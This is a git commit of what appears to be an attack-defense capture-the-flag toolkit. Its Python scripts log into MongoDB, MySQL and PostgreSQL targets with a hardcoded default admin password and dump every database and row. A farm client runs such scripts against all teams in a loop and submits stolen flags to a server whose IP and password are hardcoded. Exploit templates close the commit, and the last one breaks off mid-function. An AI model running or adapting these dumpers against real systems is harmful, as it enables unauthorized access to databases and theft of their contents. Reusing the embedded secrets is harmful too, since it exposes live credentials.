Initial commit

This commit is contained in:
4x10m
2026-08-26 06:37:04 +00:00
commit 34a798d345
13 changed files with 1546 additions and 0 deletions
View File
+106
View File
@@ -0,0 +1,106 @@
#!/usr/bin/env python3
import json
import os
import sys
from typing import Any
# Credentials from creds.md
DEFAULT_MONGO_USER = "admin"
DEFAULT_MONGO_PASSWORD = "S3cr3tP4ssw0rd"
DEFAULT_MONGO_PORT = 27017
try:
from pymongo import MongoClient
from pymongo.errors import PyMongoError
except Exception:
MongoClient = None # type: ignore
PyMongoError = Exception # type: ignore
def eprint(*args: Any, **kwargs: Any) -> None:
print(*args, file=sys.stderr, **kwargs)
def build_uri(host: str, user: str, password: str, port: int) -> str:
# Use admin as authSource by default
return f"mongodb://{user}:{password}@{host}:{port}/?authSource=admin"
def dump_all(client: "MongoClient") -> None: # type: ignore[name-defined]
"""Enumerate all databases/collections and print JSON lines to stdout."""
try:
db_names = client.list_database_names()
except Exception as ex:
eprint(f"[!] Failed to list databases: {ex}")
return
for db_name in db_names:
try:
db = client[db_name]
coll_names = db.list_collection_names()
except Exception as ex:
eprint(f"[!] Failed to list collections for db={db_name}: {ex}")
continue
for coll_name in coll_names:
try:
coll = db[coll_name]
# Stream documents to stdout as JSONL
for doc in coll.find({}):
try:
# Convert ObjectId and other types using default=str
print(json.dumps({
"db": db_name,
"collection": coll_name,
"document": doc,
}, default=str), flush=True)
except Exception as jex:
eprint(f"[!] JSON encode error for {db_name}.{coll_name}: {jex}")
continue
except Exception as ex:
eprint(f"[!] Failed reading collection {db_name}.{coll_name}: {ex}")
continue
def main() -> int:
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target>")
return 1
target_host = sys.argv[1]
if MongoClient is None:
eprint("pymongo is not installed, please `pip install pymongo` to run this sploit")
return 2
mongo_user = DEFAULT_MONGO_USER
mongo_password = DEFAULT_MONGO_PASSWORD
mongo_port = DEFAULT_MONGO_PORT
uri = build_uri(target_host, mongo_user, mongo_password, mongo_port)
try:
client = MongoClient(uri, serverSelectionTimeoutMS=3000)
# Trigger server selection to validate connection
_ = client.admin.command("ping")
except PyMongoError as ex: # type: ignore[misc]
eprint(f"[!] Connection error to {uri}: {ex}")
return 3
except Exception as ex:
eprint(f"[!] Unexpected error connecting to {uri}: {ex}")
return 4
try:
dump_all(client)
finally:
try:
client.close()
except Exception:
pass
return 0
if __name__ == "__main__":
sys.exit(main())
+189
View File
@@ -0,0 +1,189 @@
#!/usr/bin/env python3
import json
import os
import sys
from typing import Any, Dict, Iterable, List
DEFAULT_MYSQL_USER = "admin"
DEFAULT_MYSQL_PASSWORD = "S3cr3tP4ssw0rd"
DEFAULT_MYSQL_PORT = 3306
try:
import pymysql
from pymysql.cursors import SSCursor, SSDictCursor
from pymysql.err import MySQLError, OperationalError
except Exception:
pymysql = None
SSCursor = None
SSDictCursor = None
MySQLError = Exception
OperationalError = Exception
SYSTEM_DBS = {
"information_schema",
"performance_schema",
"mysql",
"sys",
}
def eprint(*args: Any, **kwargs: Any) -> None:
print(*args, file=sys.stderr, **kwargs)
def connect(db: str, host: str, user: str, password: str, port: int):
assert pymysql is not None
return pymysql.connect(
host=host,
user=user,
password=password,
database=db if db else None,
port=port,
connect_timeout=3,
charset="utf8mb4",
autocommit=True,
cursorclass=SSDictCursor if SSDictCursor is not None else None,
)
def list_databases(conn) -> List[str]:
dbs: List[str] = []
try:
with conn.cursor() as cur:
cur.execute("SHOW DATABASES")
rows = cur.fetchall()
for r in rows:
name = r[0] if isinstance(r, (tuple, list)) else (r.get("Database") if isinstance(r, dict) else None)
if not name:
continue
if name in SYSTEM_DBS:
continue
dbs.append(name)
except Exception as ex:
eprint(f"[!] Failed to list databases: {ex}")
return dbs
def list_tables(conn, db: str) -> List[str]:
tables: List[str] = []
try:
with conn.cursor() as cur:
cur.execute(
"""
SELECT table_name
FROM information_schema.tables
WHERE table_schema=%s AND table_type='BASE TABLE'
ORDER BY table_name
""",
(db,),
)
rows = cur.fetchall()
for r in rows:
name = r[0] if isinstance(r, (tuple, list)) else (r.get("table_name") if isinstance(r, dict) else None)
if name:
tables.append(name)
except Exception as ex:
eprint(f"[!] Failed to list tables for db={db}: {ex}")
return tables
def stream_table_rows(conn, db: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
"""Yield rows as dicts for given db.table using server-side cursor to stream."""
if pymysql is None:
return
try:
with conn.cursor(SSDictCursor if SSDictCursor is not None else None) as cur:
identifier = f"`{db}`.`{table}`"
cur.execute(f"SELECT * FROM {identifier}")
while True:
rows = cur.fetchmany(batch)
if not rows:
break
for row in rows:
if isinstance(row, dict):
yield row
else:
desc = [d[0] for d in cur.description] if cur.description else []
as_dict = {desc[i]: row[i] for i in range(len(desc))}
yield as_dict
except Exception as ex:
eprint(f"[!] Failed to read {db}.{table}: {ex}")
return
def dump_all_mysql(host: str, user: str, password: str, port: int) -> None:
if pymysql is None:
eprint("PyMySQL is not installed, please `pip install pymysql` to run this sploit")
return
try:
root_conn = connect("", host, user, password, port)
except OperationalError as ex:
eprint(f"[!] Connection error to mysql@{host}:{port}: {ex}")
return
except Exception as ex:
eprint(f"[!] Unexpected error connecting to mysql@{host}:{port}: {ex}")
return
try:
dbs = list_databases(root_conn)
finally:
try:
root_conn.close()
except Exception:
pass
for db in dbs:
try:
conn = connect(db, host, user, password, port)
except Exception as ex:
eprint(f"[!] Failed connecting to db={db}: {ex}")
continue
try:
tables = list_tables(conn, db)
for table in tables:
for row in stream_table_rows(conn, db, table):
try:
print(
json.dumps(
{
"db": db,
"table": table,
"row": row,
},
default=str,
),
flush=True,
)
except Exception as jex:
eprint(f"[!] JSON encode error for {db}.{table}: {jex}")
continue
finally:
try:
conn.close()
except Exception:
pass
def main() -> int:
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target>")
return 1
target_host = sys.argv[1]
mysql_user = os.getenv("MYSQL_USER", DEFAULT_MYSQL_USER)
mysql_password = os.getenv("MYSQL_PASSWORD", DEFAULT_MYSQL_PASSWORD)
try:
mysql_port = int(os.getenv("MYSQL_PORT", str(DEFAULT_MYSQL_PORT)))
except ValueError:
mysql_port = DEFAULT_MYSQL_PORT
dump_all_mysql(target_host, mysql_user, mysql_password, mysql_port)
return 0
if __name__ == "__main__":
sys.exit(main())
+171
View File
@@ -0,0 +1,171 @@
#!/usr/bin/env python3
import json
import os
import sys
from typing import Any, Dict, Iterable, List, Optional, Tuple
DEFAULT_PG_USER = "admin"
DEFAULT_PG_PASSWORD = "S3cr3tP4ssw0rd"
DEFAULT_PG_PORT = 5432
DEFAULT_PG_DB = "postgres"
try:
import psycopg2
import psycopg2.extras
from psycopg2 import OperationalError, sql
except Exception:
psycopg2 = None
OperationalError = Exception
sql = None
def eprint(*args: Any, **kwargs: Any) -> None:
print(*args, file=sys.stderr, **kwargs)
def connect(dbname: str, host: str, user: str, password: str, port: int):
assert psycopg2 is not None
return psycopg2.connect(
dbname=dbname,
host=host,
user=user,
password=password,
port=port,
connect_timeout=3,
)
def list_databases(conn) -> List[str]:
dbs: List[str] = []
try:
with conn.cursor() as cur:
cur.execute(
"""
SELECT datname
FROM pg_database
WHERE datistemplate = false
ORDER BY datname
"""
)
dbs = [row[0] for row in cur.fetchall()]
except Exception as ex:
eprint(f"[!] Failed to list databases: {ex}")
return dbs
def list_tables(conn) -> List[Tuple[str, str]]:
"""Return [(schema, table), ...] for all base tables user can read."""
tables: List[Tuple[str, str]] = []
try:
with conn.cursor() as cur:
cur.execute(
"""
SELECT table_schema, table_name
FROM information_schema.tables
WHERE table_type='BASE TABLE'
AND table_schema NOT IN ('pg_catalog', 'information_schema')
ORDER BY table_schema, table_name
"""
)
tables = [(r[0], r[1]) for r in cur.fetchall()]
except Exception as ex:
eprint(f"[!] Failed to list tables: {ex}")
return tables
def stream_table_rows(conn, schema: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
"""Yield rows as dicts for given schema.table in batches."""
try:
with conn.cursor(name=f"cur_{schema}_{table}", cursor_factory=psycopg2.extras.DictCursor) as cur:
identifier = f'"{schema}"."{table}"'
cur.itersize = batch
cur.execute(f"SELECT * FROM {identifier}")
while True:
rows = cur.fetchmany(batch)
if not rows:
break
for row in rows:
yield dict(row)
except Exception as ex:
eprint(f"[!] Failed to read {schema}.{table}: {ex}")
return
def dump_all_pg(host: str, user: str, password: str, port: int) -> None:
if psycopg2 is None:
eprint("psycopg2 is not installed, please `pip install psycopg2-binary` to run this sploit")
return
try:
root_conn = connect(DEFAULT_PG_DB, host, user, password, port)
root_conn.autocommit = True
except OperationalError as ex:
eprint(f"[!] Connection error to postgres@{host}:{port}: {ex}")
return
except Exception as ex:
eprint(f"[!] Unexpected error connecting to postgres@{host}:{port}: {ex}")
return
try:
dbs = list_databases(root_conn)
finally:
try:
root_conn.close()
except Exception:
pass
for db in dbs:
try:
conn = connect(db, host, user, password, port)
conn.autocommit = True
except Exception as ex:
eprint(f"[!] Failed connecting to db={db}: {ex}")
continue
try:
tables = list_tables(conn)
for schema, table in tables:
for row in stream_table_rows(conn, schema, table):
try:
print(
json.dumps(
{
"db": db,
"schema": schema,
"table": table,
"row": row,
},
default=str,
),
flush=True,
)
except Exception as jex:
eprint(f"[!] JSON encode error for {db}.{schema}.{table}: {jex}")
continue
finally:
try:
conn.close()
except Exception:
pass
def main() -> int:
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target>")
return 1
target_host = sys.argv[1]
pg_user = os.getenv("PGUSER", DEFAULT_PG_USER)
pg_password = os.getenv("PGPASSWORD", DEFAULT_PG_PASSWORD)
try:
pg_port = int(os.getenv("PGPORT", str(DEFAULT_PG_PORT)))
except ValueError:
pg_port = DEFAULT_PG_PORT
dump_all_pg(target_host, pg_user, pg_password, pg_port)
return 0
if __name__ == "__main__":
sys.exit(main())
+104
View File
@@ -0,0 +1,104 @@
#!/usr/bin/env python3
import json
import os
import sys
import sqlite3
from typing import Any, Dict, Iterable, List
def eprint(*args: Any, **kwargs: Any) -> None:
print(*args, file=sys.stderr, **kwargs)
def connect(db_path: str) -> sqlite3.Connection:
conn = sqlite3.connect(db_path, timeout=3)
conn.row_factory = sqlite3.Row
return conn
def list_tables(conn: sqlite3.Connection) -> List[str]:
tables: List[str] = []
try:
cur = conn.execute(
"""
SELECT name
FROM sqlite_master
WHERE type='table' AND name NOT LIKE 'sqlite_%'
ORDER BY name
"""
)
rows = cur.fetchall()
tables = [r[0] for r in rows]
except Exception as ex:
eprint(f"[!] Failed to list tables: {ex}")
return tables
def stream_table_rows(conn: sqlite3.Connection, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
try:
cur = conn.execute(f"SELECT * FROM \"{table}\"")
while True:
rows = cur.fetchmany(batch)
if not rows:
break
for row in rows:
try:
yield {k: row[k] for k in row.keys()}
except Exception:
desc = [d[0] for d in cur.description] if cur.description else []
yield {desc[i]: row[i] for i in range(len(desc))}
except Exception as ex:
eprint(f"[!] Failed to read table {table}: {ex}")
return
def dump_all_sqlite(db_path: str) -> None:
if not os.path.exists(db_path):
eprint(f"[!] SQLite database file not found: {db_path}")
return
try:
conn = connect(db_path)
except Exception as ex:
eprint(f"[!] Failed to connect to SQLite db {db_path}: {ex}")
return
try:
tables = list_tables(conn)
for table in tables:
for row in stream_table_rows(conn, table):
try:
print(
json.dumps(
{
"db": db_path,
"table": table,
"row": row,
},
default=str,
),
flush=True,
)
except Exception as jex:
eprint(f"[!] JSON encode error for {db_path}.{table}: {jex}")
continue
finally:
try:
conn.close()
except Exception:
pass
def main() -> int:
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <sqlite_db_path>")
return 1
db_path = sys.argv[1]
dump_all_sqlite(db_path)
return 0
if __name__ == "__main__":
sys.exit(main())
+619
View File
@@ -0,0 +1,619 @@
#!/usr/bin/env python3
import argparse
import binascii
import itertools
import logging
import os
import random
import re
import stat
import subprocess
import sys
import threading
import time
from concurrent.futures import ThreadPoolExecutor
from enum import Enum
from math import ceil
from urllib.parse import urljoin
import requests
if sys.version_info < (3, 4):
logging.critical('Support of Python < 3.4 is not implemented yet')
sys.exit(1)
os_windows = (os.name == 'nt')
HEADER = '''
██████╗██╗ ██╗████████╗ ██████╗ ██╗ ██╗████████╗ ███████╗██╗ ██╗██████╗
██╔════╝██║ ██║╚══██╔══╝ ██╔══██╗██║ ██║╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗
██║ ███████║ ██║ ██████╔╝██║ ██║ ██║ ███████╗███████║██║ ██║
██║ ╚════██║ ██║ ██╔══██╗██║ ██║ ██║ ╚════██║╚════██║██║ ██║
╚██████╗ ██║ ██║ ██████╔╝╚██████╔╝ ██║ ███████║ ██║██████╔╝
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝╚═════╝
'''[1:]
class Style(Enum):
"""
Bash escape sequences, see:
https://misc.flogisoft.com/bash/tip_colors_and_formatting
"""
BOLD = 1
FG_BLACK = 30
FG_RED = 31
FG_GREEN = 32
FG_YELLOW = 33
FG_BLUE = 34
FG_MAGENTA = 35
FG_CYAN = 36
FG_LIGHT_GRAY = 37
BRIGHT_COLORS = [Style.FG_RED, Style.FG_GREEN, Style.FG_BLUE,
Style.FG_MAGENTA, Style.FG_CYAN]
VERBOSE_LINES = 5
def highlight(text, style=None):
if os_windows:
return text
if style is None:
style = [Style.BOLD, random.choice(BRIGHT_COLORS)]
return '\033[{}m'.format(';'.join(str(item.value) for item in style)) + text + '\033[0m'
log_format = '%(asctime)s {} %(message)s'.format(highlight('%(levelname)s', [Style.FG_YELLOW]))
logging.basicConfig(format=log_format, datefmt='%H:%M:%S', level=logging.DEBUG)
def parse_args():
parser = argparse.ArgumentParser(description='Run a sploit on all teams in a loop',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('sploit',
help="Sploit executable (should take a victim's host as the first argument)")
parser.add_argument('--server-url', metavar='URL', default='http://158.160.177.126:5137/',
help='Server URL')
parser.add_argument('--server-pass', metavar='PASS', default='ebatmftiidtl74231342',
help='Server password')
parser.add_argument('--interpreter', metavar='COMMAND',
help='Explicitly specify sploit interpreter (use on Windows, which doesn\'t '
'understand shebangs)')
parser.add_argument('--pool-size', metavar='N', type=int, default=50,
help='Maximal number of concurrent sploit instances. '
'Too little value will make time limits for sploits smaller, '
'too big will eat all RAM on your computer')
parser.add_argument('--attack-period', metavar='N', type=float, default=55,
help='Rerun the sploit on all teams each N seconds '
'Too little value will make time limits for sploits smaller, '
'too big will miss flags from some rounds')
parser.add_argument('-v', '--verbose-attacks', metavar='N', type=int, default=1,
help="Sploits' outputs and found flags will be shown for the N first attacks")
parser.add_argument('-e', '--endless', default=False, action='store_true',
help="Run sploits without timeouts")
group = parser.add_mutually_exclusive_group()
group.add_argument('--not-per-team', action='store_true',
help='Run a single instance of the sploit instead of an instance per team')
group.add_argument('--distribute', metavar='K/N',
help='Divide the team list to N parts (by address hash modulo N) '
'and run the sploits only on Kth part of it (K >= 1)')
return parser.parse_args()
def fix_args(args):
check_sploit(args)
if '://' not in args.server_url:
args.server_url = 'http://' + args.server_url
if args.distribute is not None:
valid = False
match = re.fullmatch(r'(\d+)/(\d+)', str(args.distribute))
if match is not None:
k, n = (int(match.group(1)), int(match.group(2)))
if n >= 2 and 1 <= k <= n:
args.distribute = k, n
valid = True
if not valid:
raise ValueError('Wrong syntax for --distribute, use --distribute K/N (N >= 2, 1 <= K <= N)')
SCRIPT_EXTENSIONS = {
'.pl': 'perl',
'.py': 'python',
'.rb': 'ruby',
}
def check_script_source(source):
errors = []
if not os_windows and source[:2] != '#!':
errors.append(
'Please use shebang (e.g. {}) as the first line of your script'.format(
highlight('#!/usr/bin/env python3', [Style.FG_GREEN])))
if re.search(r'flush[(=]', source) is None:
errors.append(
'Please print the newline and call {} each time after your sploit outputs flags. '
'In Python 3, you can use {}. '
'Otherwise, the flags may be lost (if the sploit process is killed) or '
'sent with a delay.'.format(
highlight('flush()', [Style.FG_RED]),
highlight('print(..., flush=True)', [Style.FG_GREEN])))
return errors
class InvalidSploitError(Exception):
pass
def check_sploit(args):
path = args.sploit
if not os.path.isfile(path):
raise ValueError('No such file: {}'.format(path))
extension = os.path.splitext(path)[1].lower()
is_script = extension in SCRIPT_EXTENSIONS
if is_script:
with open(path, 'r', errors='ignore') as f:
source = f.read()
errors = check_script_source(source)
if errors:
for message in errors:
logging.error(message)
raise InvalidSploitError('Sploit won\'t be run because of validation errors')
if os_windows and args.interpreter is None:
args.interpreter = SCRIPT_EXTENSIONS[extension]
logging.info('Using interpreter `{}`'.format(args.interpreter))
if not os_windows:
file_mode = os.stat(path).st_mode
# TODO: May be check the owner and other X flags properly?
if not file_mode & stat.S_IXUSR:
if is_script:
logging.info('Setting the executable bit on `{}`'.format(path))
os.chmod(path, file_mode | stat.S_IXUSR)
else:
raise InvalidSploitError("The provided file doesn't appear to be executable")
if os_windows:
# By default, Ctrl+C does not work on Windows if we spawn subprocesses.
# Here we fix that using WinApi. See https://stackoverflow.com/a/43095532
import signal
import ctypes
from ctypes import wintypes
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
# BOOL WINAPI HandlerRoutine(
# _In_ DWORD dwCtrlType
# );
PHANDLER_ROUTINE = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD)
win_ignore_ctrl_c = PHANDLER_ROUTINE() # = NULL
def _errcheck_bool(result, _, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
# BOOL WINAPI SetConsoleCtrlHandler(
# _In_opt_ PHANDLER_ROUTINE HandlerRoutine,
# _In_ BOOL Add
# );
kernel32.SetConsoleCtrlHandler.errcheck = _errcheck_bool
kernel32.SetConsoleCtrlHandler.argtypes = (PHANDLER_ROUTINE, wintypes.BOOL)
@PHANDLER_ROUTINE
def win_ctrl_handler(dwCtrlType):
if dwCtrlType == signal.CTRL_C_EVENT:
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
shutdown()
return False
kernel32.SetConsoleCtrlHandler(win_ctrl_handler, True)
class APIException(Exception):
pass
SERVER_TIMEOUT = 5
def get_auth_headers(args):
return {'Authorization': args.server_pass}
def get_config(args):
url = urljoin(args.server_url, '/api/get_config')
headers = get_auth_headers(args)
r = requests.get(url, headers=headers, timeout=SERVER_TIMEOUT)
if not r.ok:
raise APIException(r.text)
return r.json()
def post_flags(args, flags):
sploit_name = os.path.basename(args.sploit)
data = [
{
'flag': item['flag'],
'sploit': sploit_name,
'team': item['team']
} for item in flags
]
url = urljoin(args.server_url, '/api/post_flags')
headers = get_auth_headers(args)
r = requests.post(url, headers=headers, json=data, timeout=SERVER_TIMEOUT)
if not r.ok:
raise APIException(r.text)
exit_event = threading.Event()
def once_in_a_period(period):
for iter_no in itertools.count(1):
start_time = time.time()
yield iter_no
time_spent = time.time() - start_time
if period > time_spent:
exit_event.wait(period - time_spent)
if exit_event.is_set():
break
class FlagStorage:
"""
Thread-safe storage comprised of a set and a post queue.
Any number of threads may call add(), but only one "consumer thread"
may call pick_flags() and mark_as_sent().
"""
def __init__(self):
self._flags_seen = set()
self._queue = []
self._lock = threading.RLock()
def add(self, flags, team_name):
with self._lock:
for item in flags:
if item not in self._flags_seen:
self._flags_seen.add(item)
self._queue.append({'flag': item, 'team': team_name})
def pick_flags(self, count):
with self._lock:
return self._queue[:count]
def mark_as_sent(self, count):
with self._lock:
self._queue = self._queue[count:]
@property
def queue_size(self):
with self._lock:
return len(self._queue)
flag_storage = FlagStorage()
POST_PERIOD = 5
POST_FLAG_LIMIT = 10000
# TODO: test that 10k flags won't lead to the hangup of the farm server
def run_post_loop(args):
try:
for _ in once_in_a_period(POST_PERIOD):
flags_to_post = flag_storage.pick_flags(POST_FLAG_LIMIT)
if flags_to_post:
try:
post_flags(args, flags_to_post)
flag_storage.mark_as_sent(len(flags_to_post))
logging.info('{} flags posted to the server ({} in the queue)'.format(
len(flags_to_post), flag_storage.queue_size))
except Exception as e:
logging.error("Can't post flags to the server: {}".format(repr(e)))
logging.info("The flags will be posted next time")
except Exception as e:
logging.critical('Posting loop died: {}'.format(repr(e)))
shutdown()
display_output_lock = threading.RLock()
def display_sploit_output(team_name, output_lines):
if not output_lines:
logging.info('{}: No output from the sploit'.format(team_name))
return
prefix = highlight(team_name + ': ')
with display_output_lock:
print('\n' + '\n'.join(prefix + line.rstrip() for line in output_lines) + '\n')
def process_sploit_output(stream, args, team_name, flag_format, attack_no):
try:
output_lines = []
instance_flags = set()
line_cnt = 1
while True:
line = stream.readline()
if not line:
break
line = line.decode(errors='replace')
output_lines.append(line)
line_flags = set(flag_format.findall(line))
if line_flags:
flag_storage.add(line_flags, team_name)
instance_flags |= line_flags
if args.endless and line_cnt <= args.verbose_attacks * VERBOSE_LINES:
line_cnt += 1
display_sploit_output(team_name, output_lines)
output_lines = []
if instance_flags:
logging.info('Got {} flags from "{}": {}'.format(
len(instance_flags), team_name, instance_flags))
instance_flags = set()
if attack_no <= args.verbose_attacks and not exit_event.is_set():
# We don't want to spam the terminal on KeyboardInterrupt
display_sploit_output(team_name, output_lines)
if instance_flags:
logging.info('Got {} flags from "{}": {}'.format(
len(instance_flags), team_name, instance_flags))
except Exception as e:
logging.error('Failed to process sploit output: {}'.format(repr(e)))
class InstanceStorage:
"""
Storage comprised of a dictionary of all running sploit instances and some statistics.
Always acquire instance_lock before using this class. Do not release the lock
between actual spawning/killing a process and calling register_start()/register_stop().
"""
def __init__(self):
self._counter = 0
self.instances = {}
self.n_completed = 0
self.n_killed = 0
def register_start(self, process):
instance_id = self._counter
self.instances[instance_id] = process
self._counter += 1
return instance_id
def register_stop(self, instance_id, was_killed):
del self.instances[instance_id]
self.n_completed += 1
self.n_killed += was_killed
instance_storage = InstanceStorage()
instance_lock = threading.RLock()
def launch_sploit(args, team_name, team_addr, attack_no, flag_format):
# For sploits written in Python, this env variable forces the interpreter to flush
# stdout and stderr after each newline. Note that this is not default behavior
# if the sploit's output is redirected to a pipe.
env = os.environ.copy()
env['PYTHONUNBUFFERED'] = '1'
command = [os.path.abspath(args.sploit)]
if args.interpreter is not None:
command = [args.interpreter] + command
if team_addr is not None:
command.append(team_addr)
need_close_fds = (not os_windows)
if os_windows:
# On Windows, we block Ctrl+C handling, spawn the process, and
# then recover the handler. This is the only way to make Ctrl+C
# intercepted by us instead of our child processes.
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
proc = subprocess.Popen(command,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
bufsize=1, close_fds=need_close_fds, env=env)
if os_windows:
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, False)
threading.Thread(target=lambda: process_sploit_output(
proc.stdout, args, team_name, flag_format, attack_no)).start()
return proc, instance_storage.register_start(proc)
def run_sploit(args, team_name, team_addr, attack_no, max_runtime, flag_format):
try:
with instance_lock:
if exit_event.is_set():
return
proc, instance_id = launch_sploit(args, team_name, team_addr, attack_no, flag_format)
except Exception as e:
if isinstance(e, FileNotFoundError):
logging.error('Sploit file or the interpreter for it not found: {}'.format(repr(e)))
logging.error('Check presence of the sploit file and the shebang (use {} for compatibility)'.format(
highlight('#!/usr/bin/env ...', [Style.FG_GREEN])))
else:
logging.error('Failed to run sploit: {}'.format(repr(e)))
if attack_no == 1:
shutdown()
return
try:
try:
proc.wait(timeout=max_runtime)
need_kill = False
except subprocess.TimeoutExpired:
need_kill = True
if attack_no <= args.verbose_attacks:
logging.warning('Sploit for "{}" ({}) ran out of time'.format(team_name, team_addr))
with instance_lock:
if need_kill:
proc.kill()
instance_storage.register_stop(instance_id, need_kill)
except Exception as e:
logging.error('Failed to finish sploit: {}'.format(repr(e)))
def show_time_limit_info(args, config, max_runtime, attack_no):
if attack_no == 1:
min_attack_period = config['FLAG_LIFETIME'] - config['SUBMIT_PERIOD'] - POST_PERIOD
if args.attack_period >= min_attack_period:
logging.warning("--attack-period should be < {:.1f} sec, "
"otherwise the sploit will not have time "
"to catch flags for each round before their expiration".format(min_attack_period))
if max_runtime is not None:
logging.info('Time limit for a sploit instance: {:.1f} sec'.format(max_runtime))
else:
logging.info('Time limit for a sploit instance: endless')
with instance_lock:
if instance_storage.n_completed > 0:
# TODO: Maybe better for 10 last attacks
logging.info('Total {:.1f}% of instances ran out of time'.format(
float(instance_storage.n_killed) / instance_storage.n_completed * 100))
PRINTED_TEAM_NAMES = 5
def get_target_teams(args, teams, attack_no):
if args.not_per_team:
teams = {'*': '*'}
if args.distribute is not None:
k, n = args.distribute
teams = {name: addr for name, addr in teams.items()
if binascii.crc32(addr.encode()) % n == k - 1}
if teams:
if attack_no <= args.verbose_attacks:
names = sorted(teams.keys())
if len(names) > PRINTED_TEAM_NAMES:
names = names[:PRINTED_TEAM_NAMES] + ['...']
logging.info('Sploit will be run on {} teams: {}'.format(len(teams), ', '.join(names)))
else:
logging.error('There is no teams to attack for this farm client, fix "TEAMS" value '
'in your server config or the usage of --distribute')
return teams
def main(args):
try:
fix_args(args)
except (ValueError, InvalidSploitError) as e:
logging.critical(str(e))
return
print(highlight(HEADER))
logging.info('Connecting to the farm server at {}'.format(args.server_url))
threading.Thread(target=lambda: run_post_loop(args)).start()
config = flag_format = None
pool = ThreadPoolExecutor(max_workers=args.pool_size)
if args.endless:
print()
for warn in range(5):
logging.warning("Be careful! We won't restart your sploit if it fails")
print()
for attack_no in once_in_a_period(args.attack_period):
try:
config = get_config(args)
flag_format = re.compile(config['FLAG_FORMAT'])
except Exception as e:
logging.error("Can't get config from the server: {}".format(repr(e)))
if attack_no == 1:
return
logging.info('Using the old config')
teams = get_target_teams(args, config['TEAMS'], attack_no)
if not teams:
if attack_no == 1:
return
continue
max_runtime = None
if not args.endless:
max_runtime = args.attack_period / ceil(len(teams) / args.pool_size)
if not args.endless or attack_no == 1:
print()
logging.info('Launching an attack #{}'.format(attack_no))
show_time_limit_info(args, config, max_runtime, attack_no)
for team_name, team_addr in teams.items():
pool.submit(run_sploit, args, team_name, team_addr, attack_no, max_runtime, flag_format)
def shutdown():
# Stop run_post_loop thread
exit_event.set()
# Kill all child processes (so consume_sploit_output and run_sploit also will stop)
with instance_lock:
for proc in instance_storage.instances.values():
proc.kill()
if __name__ == '__main__':
try:
main(parse_args())
except KeyboardInterrupt:
logging.info('Got Ctrl+C, shutting down')
finally:
shutdown()
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
def exploit(target_ip):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
try: # example
url = f"http://{target_ip}:8080/flag"
r = requests.get(url, headers=headers, timeout=4)
r.raise_for_status()
for flag in FLAG_RX.findall(r.text):
flags.add(flag)
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()
+116
View File
@@ -0,0 +1,116 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
USE_CUSTOM_USER_AGENT = False
ATTACK_DATA_URL = "http://N.N.N.N"
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
def get_attack_data(target_ip):
"""
Download attack data and return data for the target.
TODO:
Adapt this function to the attack data format used by the current farm.
Common examples:
{"10.10.10.5": {...}}
-> return data.get(target_ip, {})
{"service": {"10.10.10.5": {...}}}
-> return data.get("service", {}).get(target_ip, {})
{"5": {...}}
-> team_id = target_ip.split(".")[-1] # Or another way to get it
return data.get(team_id, {})
"""
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
try:
r = requests.get(ATTACK_DATA_URL, headers=headers, timeout=3)
r.raise_for_status()
data = r.json()
if not isinstance(data, dict):
return {}
# TODO: Replace this line according to the attack data structure.
